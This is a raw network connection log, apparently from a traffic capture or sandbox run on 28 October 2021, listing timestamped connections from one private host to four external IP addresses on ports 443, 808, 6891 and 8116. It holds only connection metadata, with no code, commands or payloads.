Oct 28, 2021 05:04:17.859736919 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.859755993 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.866914034 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.866940975 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.867086887 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.867110968 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:18.008462906 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.171417952 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.171571970 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.172377110 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.335349083 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.335413933 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.335517883 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.336002111 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.340944052 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.341079950 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.498756886 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.503691912 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.503720999 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.503917933 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.580671072 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:18.580750942 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:18.580785990 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:18.580818892 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:18.585007906 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:18.585036039 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:18.711358070 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.875807047 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.875962019 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.876729012 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.888196945 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.888217926 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:18.888341904 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:18.895544052 CEST	49805	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.008954048 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.038362980 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.038467884 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.038542986 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.039088011 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.044137955 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.044258118 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.058429956 CEST	808	49805	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.174232960 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.174324989 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.177170992 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.200675011 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.205701113 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.205718994 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.205729961 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.205766916 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.342381001 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.342539072 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.342621088 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.343148947 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.349956036 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.350068092 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.515288115 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.515331030 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.515358925 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.589406013 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.589451075 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.589553118 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.589596987 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.592724085 CEST	49806	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:19.719683886 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.754487991 CEST	808	49806	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:19.886121035 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.886364937 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.887123108 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.918107986 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.918138027 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:19.918647051 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:19.926907063 CEST	49808	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.043521881 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.053554058 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.053594112 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.053726912 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.054240942 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.060725927 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.060992002 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.092140913 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.092169046 CEST	6891	49808	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.092345953 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.093347073 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.141634941 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.142163038 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.142302990 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.142870903 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.153182983 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.153728962 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.201914072 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.202037096 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.202883005 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.227336884 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.227531910 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.391493082 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.391522884 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.391711950 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.391765118 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.399075985 CEST	49811	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.447590113 CEST	8116	49811	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.537980080 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:20.538029909 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:20.538212061 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:20.539447069 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:20.539467096 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:20.622548103 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.622631073 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.622713089 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.622762918 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.625993013 CEST	49809	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:20.746155024 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.792787075 CEST	6891	49809	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:20.794555902 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.794667959 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.795383930 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.861567020 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.861599922 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.861737013 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.862349987 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.866808891 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.866945028 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:20.916071892 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.917048931 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:20.960391045 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:21.058643103 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.059092045 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.059613943 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.059643030 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.066076994 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.066106081 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.066253901 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.066273928 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.098958015 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:21.098998070 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:21.099173069 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:21.102289915 CEST	49813	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:21.160352945 CEST	8116	49813	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:21.224682093 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.224718094 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.224837065 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.225486040 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.225500107 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.720752954 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.720864058 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.721534967 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.721548080 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.726126909 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.726141930 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.726237059 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.726249933 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.775974035 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.776043892 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.776128054 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.776145935 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.783035040 CEST	49812	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:21.783061981 CEST	443	49812	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:21.901141882 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.061150074 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.061288118 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.066962004 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.226891041 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.227106094 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.227241039 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.227663040 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.231195927 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.231292963 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.387516975 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.391076088 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.391097069 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.427227020 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:22.427287102 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:22.427325010 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:22.429841995 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:22.431463003 CEST	49814	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:22.431487083 CEST	443	49814	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:22.591259003 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.751066923 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.751354933 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.752057076 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.770534039 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.770558119 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.770627975 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.778570890 CEST	49817	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.900177956 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:22.911391020 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.911514044 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:22.912164927 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.912185907 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.917783022 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.917900085 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:22.938533068 CEST	808	49817	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.066945076 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.067779064 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.067797899 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.071559906 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.077253103 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.077318907 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.077337980 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.234200001 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.234298944 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.234538078 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.234908104 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.239581108 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.239669085 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.404932022 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.404957056 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.442667961 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.467787981 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.467814922 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.467924118 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:23.471450090 CEST	49818	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:23.595179081 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.630913019 CEST	808	49818	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:23.760291100 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.760442019 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.761161089 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.786636114 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.786667109 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.786751986 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.786787987 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.792381048 CEST	49819	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.914772034 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:23.926456928 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.926661015 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.927730083 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.928241968 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.933104992 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.933195114 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:23.957640886 CEST	6891	49819	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:23.962304115 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:23.962423086 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:23.963095903 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.010881901 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.010989904 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.011121988 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.011614084 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.030493975 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.030599117 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.078100920 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.078716993 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.098329067 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.098352909 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.098365068 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.268429041 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.268464088 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.268588066 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.276424885 CEST	49821	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.327433109 CEST	8116	49821	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.400065899 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.400111914 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:24.400228024 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.400862932 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.400882006 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:24.499994040 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.500026941 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.500129938 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:24.506150007 CEST	49820	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:24.657665968 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.671418905 CEST	6891	49820	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:24.714864969 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.714977980 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.721751928 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.778856039 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.779230118 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.779314995 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.783289909 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.788670063 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.788822889 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:24.845788002 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:24.885052919 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:24.885121107 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.885880947 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.885898113 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:24.891973972 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.892002106 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:24.892112970 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:24.892127037 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.021881104 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:25.021920919 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:25.021985054 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:25.022022963 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:25.025016069 CEST	49823	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:25.082751036 CEST	8116	49823	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:25.145971060 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.146024942 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.146121025 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.149487972 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.149530888 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.584091902 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.584181070 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.584244013 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.584273100 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.591795921 CEST	49822	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.591845036 CEST	443	49822	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.639991999 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.640252113 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.643240929 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.643265963 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.648111105 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.648130894 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.648169041 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:25.648184061 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:25.712693930 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:25.872556925 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:25.872654915 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:25.873281956 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.033451080 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.033471107 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.033627987 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.034246922 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.040163040 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.040285110 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.193820000 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.200009108 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.200239897 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.200252056 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.346561909 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:26.346638918 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:26.347332954 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:26.350601912 CEST	49824	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:26.350631952 CEST	443	49824	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:26.490272999 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.590729952 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.590753078 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.590811014 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.590836048 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.596247911 CEST	49825	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.651020050 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.652297020 CEST	49828	808	192.168.2.3	143.244.140.214
